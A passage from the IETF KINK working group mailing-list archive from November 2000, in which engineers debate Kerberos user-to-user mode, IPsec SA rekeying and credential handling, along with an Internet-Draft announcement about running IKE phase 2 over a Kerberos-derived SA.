20.3 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Bill Sommerfeld writes: > How can that possibly work in a non-VPN, non-connection-oriented > scenario? Does the initiator *always* recreate an expiring SA, just > in case the peer might want to send something in the future? If you're using user-authentication, then yes, you should keep it up, as long as your TGT is valid. Once the TGT expires, you can let the connection drop. The user has to reauthenticate themselves to the system anyways; alternatively they can re-initialize IPSec by hand at the same time that they get new tickets. > Or do you not care about long-lived connections, and let them drop if > the initiator doesn't have the session up? If your user TGT expires, you HAVE to let them drop anyways. Unless you're expecting to have a UI violation where the kernel will asynchronously pop up some UI function to ask the user for username/password in order to obtain a TGT when it's expired? So, in the user-auth case, no, I don't care about long-lived connections. They can't exist without user intervention. > I'm not happy with any of these alternatives.. the responder must be > able to turn around and reinitiate back to the initiator.. And I think limiting this particular case to host-host authentication is a reasonable protocol limitation. > - Bill -derek -- Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory Member, MIT Student Information Processing Board (SIPB) URL: http://web.mit.edu/warlord/ PP-ASEL N1NWH warlord@MIT.EDU PGP key available From owner-ietf-kink Mon Nov 20 15:36:33 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id PAA15699 for ietf-kink-bks; Mon, 20 Nov 2000 15:36:33 -0800 (PST) Received: from cisco.com (flipper.cisco.com [171.69.25.141]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id PAA15695 for ; Mon, 20 Nov 2000 15:36:32 -0800 (PST) Received: from localhost (ssh-sj1.cisco.com [171.68.225.134]) by cisco.com (8.8.5-Cisco.2-SunOS.5.5.1.sun4/8.8.8) with ESMTP id PAA29634; Mon, 20 Nov 2000 15:36:45 -0800 (PST) Date: Mon, 20 Nov 2000 15:36:45 -0800 (PST) From: Jan Vilhuber To: Bill Sommerfeld cc: Derek Atkins , "Medvinsky, Sasha (SD-EX)" , "'Michael Thomas'" , "'ietf-kink@vpnc.org'" Subject: Re: alternative to user-to-user Kerberos in KINK In-Reply-To: <200011202322.eAKNMUa236427@thunk.east.sun.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: On Mon, 20 Nov 2000, Bill Sommerfeld wrote: > > It might also be worthwhile to do what IKE failed to do, which is to spell > > out re-keying behaviour. If we spell out that the original initiator needs to > > be the one to reinitiate a re-key, then problems won't arise. > > How can that possibly work in a non-VPN, non-connection-oriented > scenario? Does the initiator *always* recreate an expiring SA, just > in case the peer might want to send something in the future? > I didn't say it was perfect. ;) > Do you engage in some sort of layering violation, peeking into TCP to > see if there are still open connections or tracking connection state > in the IP layer? > No. We do none of that. We don't even do what I described above. It's just an idea. If it doesn't pan out, it doesn't pan out. > Or do you not care about long-lived connections, and let them drop if > the initiator doesn't have the session up? > If the initiator is a road-warrior, whose dynamic-IP connection went down as well (due to timeout or whatever), then it might not matter. Your objection is valid, though. jan > I'm not happy with any of these alternatives.. the responder must be > able to turn around and reinitiate back to the initiator.. > > - Bill > -- Jan Vilhuber vilhuber@cisco.com Cisco Systems, San Jose (408) 527-0847 From owner-ietf-kink Mon Nov 20 15:36:27 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id PAA15690 for ietf-kink-bks; Mon, 20 Nov 2000 15:36:27 -0800 (PST) Received: from lukla.Sun.COM (lukla.Sun.COM [192.18.98.31]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id PAA15686 for ; Mon, 20 Nov 2000 15:36:26 -0800 (PST) Received: from eastmail1.East.Sun.COM ([129.148.1.240]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id QAA20399; Mon, 20 Nov 2000 16:37:06 -0700 (MST) Received: from thunk.east.sun.com (thunk.East.Sun.COM [129.148.174.66]) by eastmail1.East.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v1.7) with ESMTP id SAA04253; Mon, 20 Nov 2000 18:37:04 -0500 (EST) Received: from thunk (localhost [127.0.0.1]) by thunk.east.sun.com (8.11.1+Sun/8.10.2) with ESMTP id eAKNaMa236461; Mon, 20 Nov 2000 18:36:22 -0500 (EST) Message-Id: <200011202336.eAKNaMa236461@thunk.east.sun.com> From: Bill Sommerfeld To: Derek Atkins cc: sommerfeld@east.sun.com, Jan Vilhuber , "Medvinsky, Sasha (SD-EX)" , "'Michael Thomas'" , "'ietf-kink@vpnc.org'" Subject: Re: alternative to user-to-user Kerberos in KINK In-reply-to: Your message of "20 Nov 2000 18:33:20 EST." Reply-to: sommerfeld@east.sun.com Date: Mon, 20 Nov 2000 18:36:22 -0500 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: > > How can that possibly work in a non-VPN, non-connection-oriented > > scenario? Does the initiator *always* recreate an expiring SA, just > > in case the peer might want to send something in the future? > > If you're using user-authentication, then yes, you should keep it up, > as long as your TGT is valid. Why? In many cases, we might have nothing further to send to the peer.. > If your user TGT expires, you HAVE to let them drop anyways. Unless > you're expecting to have a UI violation where the kernel will > asynchronously pop up some UI function to ask the user for > username/password in order to obtain a TGT when it's expired? BTW, that would be the key management daemon, not the kernel.. - Bill From owner-ietf-kink Mon Nov 20 15:50:13 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id PAA15877 for ietf-kink-bks; Mon, 20 Nov 2000 15:50:13 -0800 (PST) Received: from rcn.ihtfp.org (me@ORANGE-TOUR.IHTFP.ORG [204.107.200.33]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id PAA15873 for ; Mon, 20 Nov 2000 15:50:12 -0800 (PST) Received: (from warlord@localhost) by rcn.ihtfp.org (8.9.3) id SAA28896; Mon, 20 Nov 2000 18:50:57 -0500 To: sommerfeld@east.sun.com Cc: Jan Vilhuber , "Medvinsky, Sasha (SD-EX)" , "'Michael Thomas'" , "'ietf-kink@vpnc.org'" Subject: Re: alternative to user-to-user Kerberos in KINK References: <200011202336.eAKNaMa236461@thunk.east.sun.com> From: Derek Atkins Date: 20 Nov 2000 18:50:56 -0500 In-Reply-To: Bill Sommerfeld's message of "Mon, 20 Nov 2000 18:36:22 -0500" Message-ID: Lines: 22 X-Mailer: Gnus v5.5/Emacs 20.3 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Bill Sommerfeld writes: > > If your user TGT expires, you HAVE to let them drop anyways. Unless > > you're expecting to have a UI violation where the kernel will > > asynchronously pop up some UI function to ask the user for > > username/password in order to obtain a TGT when it's expired? > > BTW, that would be the key management daemon, not the kernel.. It's still a system daemon, not a user app. So, how do you get the user's credentials there anyways? And how do you report to the user when those tickets expire? > - Bill -derek -- Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory Member, MIT Student Information Processing Board (SIPB) URL: http://web.mit.edu/warlord/ PP-ASEL N1NWH warlord@MIT.EDU PGP key available From owner-ietf-kink Mon Nov 20 15:57:44 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id PAA16010 for ietf-kink-bks; Mon, 20 Nov 2000 15:57:44 -0800 (PST) Received: from cisco.com (flipper.cisco.com [171.69.25.141]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id PAA16005 for ; Mon, 20 Nov 2000 15:57:43 -0800 (PST) Received: from localhost (ssh-sj1.cisco.com [171.68.225.134]) by cisco.com (8.8.5-Cisco.2-SunOS.5.5.1.sun4/8.8.8) with ESMTP id PAA00493; Mon, 20 Nov 2000 15:57:55 -0800 (PST) Date: Mon, 20 Nov 2000 15:57:55 -0800 (PST) From: Jan Vilhuber To: Bill Sommerfeld cc: Derek Atkins , "Medvinsky, Sasha (SD-EX)" , "'Michael Thomas'" , "'ietf-kink@vpnc.org'" Subject: Re: alternative to user-to-user Kerberos in KINK In-Reply-To: <200011202336.eAKNaMa236461@thunk.east.sun.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: On Mon, 20 Nov 2000, Bill Sommerfeld wrote: > > > How can that possibly work in a non-VPN, non-connection-oriented > > > scenario? Does the initiator *always* recreate an expiring SA, just > > > in case the peer might want to send something in the future? > > > > If you're using user-authentication, then yes, you should keep it up, > > as long as your TGT is valid. > > Why? In many cases, we might have nothing further to send to the peer.. > So you an idle-timer. Host-to-host probably doesn't want this, but vpn probably will. jan -- Jan Vilhuber vilhuber@cisco.com Cisco Systems, San Jose (408) 527-0847 From owner-ietf-kink Mon Nov 20 15:59:12 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id PAA16034 for ietf-kink-bks; Mon, 20 Nov 2000 15:59:12 -0800 (PST) Received: from lukla.Sun.COM (lukla.Sun.COM [192.18.98.31]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id PAA16030 for ; Mon, 20 Nov 2000 15:59:10 -0800 (PST) Received: from eastmail1.East.Sun.COM ([129.148.1.240]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id QAA06024; Mon, 20 Nov 2000 16:59:53 -0700 (MST) Received: from thunk.east.sun.com (thunk.East.Sun.COM [129.148.174.66]) by eastmail1.East.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v1.7) with ESMTP id SAA07837; Mon, 20 Nov 2000 18:59:52 -0500 (EST) Received: from thunk (localhost [127.0.0.1]) by thunk.east.sun.com (8.11.1+Sun/8.10.2) with ESMTP id eAKNx9a236511; Mon, 20 Nov 2000 18:59:09 -0500 (EST) Message-Id: <200011202359.eAKNx9a236511@thunk.east.sun.com> From: Bill Sommerfeld To: Jan Vilhuber cc: Bill Sommerfeld , Derek Atkins , "Medvinsky, Sasha (SD-EX)" , "'Michael Thomas'" , "'ietf-kink@vpnc.org'" Subject: Re: alternative to user-to-user Kerberos in KINK In-reply-to: Your message of "Mon, 20 Nov 2000 15:57:55 PST." Reply-to: sommerfeld@east.sun.com Date: Mon, 20 Nov 2000 18:59:09 -0500 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: > So you an idle-timer. Host-to-host probably doesn't want this, but vpn > probably will. That only detects that we wanted to send something recently, not that the peer might want to send us something in the future... - Bill From owner-ietf-kink Mon Nov 20 16:04:23 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id QAA16115 for ietf-kink-bks; Mon, 20 Nov 2000 16:04:23 -0800 (PST) Received: from cisco.com (flipper.cisco.com [171.69.25.141]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id QAA16111 for ; Mon, 20 Nov 2000 16:04:21 -0800 (PST) Received: from localhost (ssh-sj1.cisco.com [171.68.225.134]) by cisco.com (8.8.5-Cisco.2-SunOS.5.5.1.sun4/8.8.8) with ESMTP id QAA00764; Mon, 20 Nov 2000 16:04:00 -0800 (PST) Date: Mon, 20 Nov 2000 16:04:00 -0800 (PST) From: Jan Vilhuber To: Bill Sommerfeld cc: Derek Atkins , "Medvinsky, Sasha (SD-EX)" , "'Michael Thomas'" , "'ietf-kink@vpnc.org'" Subject: Re: alternative to user-to-user Kerberos in KINK In-Reply-To: <200011202359.eAKNx9a236511@thunk.east.sun.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: On Mon, 20 Nov 2000, Bill Sommerfeld wrote: > > So you an idle-timer. Host-to-host probably doesn't want this, but vpn > > probably will. > > That only detects that we wanted to send something recently, not that > the peer might want to send us something in the future... > As I said: In a dial-up/vpn scenario that doesn't matter. If you have something to send, and the link has gone away (or the SA's have died, which amounts to the same thing), you're out of luck anyway. jan -- Jan Vilhuber vilhuber@cisco.com Cisco Systems, San Jose (408) 527-0847 From owner-ietf-kink Mon Nov 20 16:10:52 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id QAA16198 for ietf-kink-bks; Mon, 20 Nov 2000 16:10:52 -0800 (PST) Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id QAA16194 for ; Mon, 20 Nov 2000 16:10:51 -0800 (PST) Received: from eastmail2.East.Sun.COM ([129.148.1.241]) by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id QAA27773; Mon, 20 Nov 2000 16:11:33 -0800 (PST) Received: from thunk.east.sun.com (thunk.East.Sun.COM [129.148.174.66]) by eastmail2.East.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v1.7) with ESMTP id TAA27375; Mon, 20 Nov 2000 19:11:32 -0500 (EST) Received: from thunk (localhost [127.0.0.1]) by thunk.east.sun.com (8.11.1+Sun/8.10.2) with ESMTP id eAL0Aoa236559; Mon, 20 Nov 2000 19:10:50 -0500 (EST) Message-Id: <200011210010.eAL0Aoa236559@thunk.east.sun.com> From: Bill Sommerfeld To: Derek Atkins cc: sommerfeld@east.sun.com, Jan Vilhuber , "Medvinsky, Sasha (SD-EX)" , "'Michael Thomas'" , "'ietf-kink@vpnc.org'" Subject: Re: alternative to user-to-user Kerberos in KINK In-reply-to: Your message of "20 Nov 2000 18:50:56 EST." Reply-to: sommerfeld@east.sun.com Date: Mon, 20 Nov 2000 19:10:49 -0500 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: > It's still a system daemon, not a user app. So, how do you get the > user's credentials there anyways? I can think of a number of ways, one of which is a per-user authentication proxy which is connected to the key management daemon at login time, which can run with a UI. - Bill From owner-ietf-kink Tue Nov 21 02:56:25 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id CAA26842 for ietf-kink-bks; Tue, 21 Nov 2000 02:56:25 -0800 (PST) Received: from ietf.org (odin.ietf.org [132.151.1.176]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id CAA26836 for ; Tue, 21 Nov 2000 02:56:24 -0800 (PST) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA00795; Tue, 21 Nov 2000 05:57:11 -0500 (EST) Message-Id: <200011211057.FAA00795@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: ietf-kink@vpnc.org From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-kink-ike-over-kkmp-00.txt Date: Tue, 21 Nov 2000 05:57:10 -0500 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Kerberized Internet Negotiation of Keys Working Group of the IETF. Title : Running IKE Phase 2 over Artificial Kerberos IKE SA Author(s) : T. Kivinen Filename : draft-ietf-kink-ike-over-kkmp-00.txt Pages : 6 Date : 20-Nov-00 This document defines how to create artificial IKE SA using kerberos [RFC-1510]. It defines how to calculate SKEYID, cookies and IV needed by the IKE SA from the Kerberos session key. After the artificial IKE SA is created, it can be used to run normal IKE [RFC-2409] phase 2 negotia- tions. Those negotiations include quick Mode (creating IPsec SA), new group mode, delete notifications, and error notifications. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-kink-ike-over-kkmp-00.txt Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-kink-ike-over-kkmp-00.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-kink-ike-over-kkmp-00.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20001120151452.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-kink-ike-over-kkmp-00.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-kink-ike-over-kkmp-00.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <20001120151452.I-D@ietf.org> --OtherAccess-- --NextPart-- From owner-ietf-kink Tue Nov 21 07:37:12 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id HAA19873 for ietf-kink-bks; Tue, 21 Nov 2000 07:37:12 -0800 (PST) Received: from cisco.com (jindo.cisco.com [171.69.11.73]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id HAA19868 for ; Tue, 21 Nov 2000 07:37:10 -0800 (PST) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by cisco.com (8.8.8/2.5.1/Cisco List Logging/8.8.8) with ESMTP id HAA24031; Tue, 21 Nov 2000 07:37:26 -0800 (PST) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id HAA07553; Tue, 21 Nov 2000 07:37:26 -0800 (PST) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14874.38582.343689.600494@thomasm-u1.cisco.com> Date: Tue, 21 Nov 2000 07:37:26 -0800 (PST) To: sommerfeld@east.sun.com Cc: Jan Vilhuber , "Medvinsky, Sasha (SD-EX)" , Derek Atkins , "'Michael Thomas'" , "'ietf-kink@vpnc.org'" Subject: Re: alternative to user-to-user Kerberos in KINK In-Reply-To: <200011202125.eAKLPGa236169@thunk.east.sun.com> References: <200011202125.eAKLPGa236169@thunk.east.sun.com> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Bill Sommerfeld writes: > > Unless you want to do u-u, I guess, which complicates things. I'd prefer to > > have them enrolled. > > depends on how you measure complexity. i suspect a new enrollment > protocol would be more complex than just using u-u. We're a little bit afield of KINK here, but... I've been thinking that the enrollment _protocol_ doesn't need to be complicated at all: it could just be a normal PKINIT Kerberos AS-REQ, perhaps with a flag that tells the KDC to enroll the principal with the session key that it puts into the TGT. Perhaps it can even be done without an explicit flag. That would have the nice property that you'd also get symmetric key refresh basically for free, though it does force the KDC to deal with previous and next keys instead of just one key. That said, I think that the harder problem is going to come down to all of the implications of distributed database propogation on the KDC's. That, of course, is an application problem though. Mike From owner-ietf-kink Tue Nov 21 07:39:57 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id HAA20011 for ietf-kink-bks; Tue, 21 Nov 2000 07:39:57 -0800 (PST) Received: from cisco.com (jindo.cisco.com [171.69.11.73]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id HAA20005 for ; Tue, 21 Nov 2000 07:39:56 -0800 (PST) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by cisco.com (8.8.8/2.5.1/Cisco List Logging/8.8.8) with ESMTP id HAA24083; Tue, 21 Nov 2000 07:40:10 -0800 (PST) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id HAA07556; Tue, 21 Nov 2000 07:40:10 -0800 (PST) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14874.38746.494551.568022@thomasm-u1.cisco.com> Date: Tue, 21 Nov 2000 07:40:10 -0800 (PST) To: sommerfeld@east.sun.com Cc: Jan Vilhuber , "Medvinsky, Sasha (SD-EX)" , Derek Atkins , "'Michael Thomas'" , "'ietf-kink@vpnc.org'" Subject: Re: alternative to user-to-user Kerberos in KINK In-Reply-To: <200011202138.eAKLcha236255@thunk.east.sun.com> References: <200011202138.eAKLcha236255@thunk.east.sun.com> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Bill Sommerfeld writes: > > Agreed. I measure it in terms of added complexity WITHIN the same protocol. A > > new enrollment protocol may be somewhat complex, but this complexity is > > orthogonal to KINK, thus making KINK easier to analyze for security. Adding > > more exchanges for corner-cases certainly doesn't help people analyze it for > > weaknesses. > > true. i've suggested on numerous occasions that KINK should avoid > this problem by always using user-to-user. User-User pretty much forces the normal create SA case to be a two round trip affair. One of the goals here is to reduce keying latency, and cutting out round trips is an obvious means to that goal. Mike From owner-ietf-kink Tue Nov 21 07:55:01 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id HAA23388 for ietf-kink-bks; Tue, 21 Nov 2000 07:55:01 -0800 (PST) Received: from cisco.com (jindo.cisco.com [171.69.11.73]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id HAA23384 for ; Tue, 21 Nov 2000 07:55:00 -0800 (PST) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by cisco.com (8.8.8/2.5.1/Cisco List Logging/8.8.8) with ESMTP id HAA24316; Tue, 21 Nov 2000 07:55:14 -0800 (PST) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id HAA07559; Tue, 21 Nov 2000 07:55:13 -0800 (PST) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14874.39649.745697.39680@thomasm-u1.cisco.com> Date: Tue, 21 Nov 2000 07:55:13 -0800 (PST) To: sommerfeld@east.sun.com Cc: Jan Vilhuber , Derek Atkins , "Medvinsky, Sasha (SD-EX)" , "'Michael Thomas'" , "'ietf-kink@vpnc.org'" Subject: Re: alternative to user-to-user Kerberos in KINK In-Reply-To: <200011202322.eAKNMUa236427@thunk.east.sun.com> References: <200011202322.eAKNMUa236427@thunk.east.sun.com> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: I guess I don't quite grok the dilemma here. Initiator and responder only matter when setting up/tearing down the SA. Though perhaps not optimal, there shouldn't be a problem having two SA's with the same flow spec between two hosts -- they just needs to chose one. Assuming that either party can tear down an existing SA (which now that I think about it may not work in the current draft), you have the situation where either side can manage the SA's any way they see fit. What am I missing? Mike Bill Sommerfeld writes: > > It might also be worthwhile to do what IKE failed to do, which is to spell > > out re-keying behaviour. If we spell out that the original initiator needs to > > be the one to reinitiate a re-key, then problems won't arise. > > How can that possibly work in a non-VPN, non-connection-oriented > scenario? Does the initiator *always* recreate an expiring SA, just > in case the peer might want to send something in the future? > > Do you engage in some sort of layering violation, peeking into TCP to > see if there are still open connections or tracking connection state > in the IP layer? > > Or do you not care about long-lived connections, and let them drop if > the initiator doesn't have the session up? > > I'm not happy with any of these alternatives.. the responder must be > able to turn around and reinitiate back to the initiator.. > > - Bill > From owner-ietf-kink Tue Nov 21 08:03:49 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id IAA24183 for ietf-kink-bks; Tue, 21 Nov 2000 08:03:49 -0800 (PST) Received: from cisco.com (jindo.cisco.com [171.69.11.73]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id IAA24178 for ; Tue, 21 Nov 2000 08:03:47 -0800 (PST) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by cisco.com (8.8.8/2.5.1/Cisco List Logging/8.8.8) with ESMTP id IAA24455; Tue, 21 Nov 2000 08:04:05 -0800 (PST) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id IAA07562; Tue, 21 Nov 2000 08:04:05 -0800 (PST) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14874.40180.929436.605303@thomasm-u1.cisco.com> Date: Tue, 21 Nov 2000 08:04:04 -0800 (PST) To: Derek Atkins Cc: sommerfeld@east.sun.com, Jan Vilhuber , "Medvinsky, Sasha (SD-EX)" , "'Michael Thomas'" , "'ietf-kink@vpnc.org'" Subject: Re: alternative to user-to-user Kerberos in KINK In-Reply-To: References: <200011202322.eAKNMUa236427@thunk.east.sun.com> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Derek Atkins writes: > If you're using user-authentication, then yes, you should keep it up, > as long as your TGT is valid. Once the TGT expires, you can let the > connection drop. I don't think I agree. The current draft has a lifetime of the SA which may be shorter than the length of the service ticket. This is probably useful if your sessions are plentiful, random and short lived. Using a short lifetime mitigates the need to explicitly delete SA's. > If your user TGT expires, you HAVE to let them drop anyways. Unless > you're expecting to have a UI violation where the kernel will > asynchronously pop up some UI function to ask the user for > username/password in order to obtain a TGT when it's expired? What's wrong with this? That's all that getty is, in some sense. > So, in the user-auth case, no, I don't care about long-lived > connections. They can't exist without user intervention. Is a smart card "user auth"? > > I'm not happy with any of these alternatives.. the responder must be > > able to turn around and reinitiate back to the initiator.. > > And I think limiting this particular case to host-host authentication > is a reasonable protocol limitation. Well, _I_ don't think we should be so limited, but fortunately, this looks like an implementation issue, not a protocol issue. Mike From owner-ietf-kink Tue Nov 21 08:10:16 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id IAA24660 for ietf-kink-bks; Tue, 21 Nov 2000 08:10:16 -0800 (PST) Received: from cisco.com (jindo.cisco.com [171.69.11.73]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id IAA24642 for ; Tue, 21 Nov 2000 08:10:02 -0800 (PST) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by cisco.com (8.8.8/2.5.1/Cisco List Logging/8.8.8) with ESMTP id IAA24531; Tue, 21 Nov 2000 08:10:19 -0800 (PST) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id IAA07565; Tue, 21 Nov 2000 08:10:18 -0800 (PST) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14874.40554.533913.28856@thomasm-u1.cisco.com> Date: Tue, 21 Nov 2000 08:10:18 -0800 (PST) To: Derek Atkins Cc: sommerfeld@east.sun.com, Jan Vilhuber , "Medvinsky, Sasha (SD-EX)" , "'Michael Thomas'" , "'ietf-kink@vpnc.org'" Subject: Re: alternative to user-to-user Kerberos in KINK In-Reply-To: References: <200011202336.eAKNaMa236461@thunk.east.sun.com> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Derek Atkins writes: > Bill Sommerfeld writes: > > > > If your user TGT expires, you HAVE to let them drop anyways. Unless > > > you're expecting to have a UI violation where the kernel will > > > asynchronously pop up some UI function to ask the user for > > > username/password in order to obtain a TGT when it's expired? > > > > BTW, that would be the key management daemon, not the kernel.. > > It's still a system daemon, not a user app. So, how do you get the > user's credentials there anyways? And how do you report to the user > when those tickets expire? C'mon, Derik. Netscrape manages to figure out how to prompt the user for credentials... this doesn't seem like rocket science. The important interface is the kernel/user boundary; once it's outside of the kernel, it's not very difficult to imagine an event driven this or that that could handle this quite cleanly. Mike From owner-ietf-kink Tue Nov 21 08:11:18 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id IAA24737 for ietf-kink-bks; Tue, 21 Nov 2000 08:11:18 -0800 (PST) Received: from baucis.sc.intel.com (baucis.sc.intel.com [143.183.152.22]) by ns.secondary.com 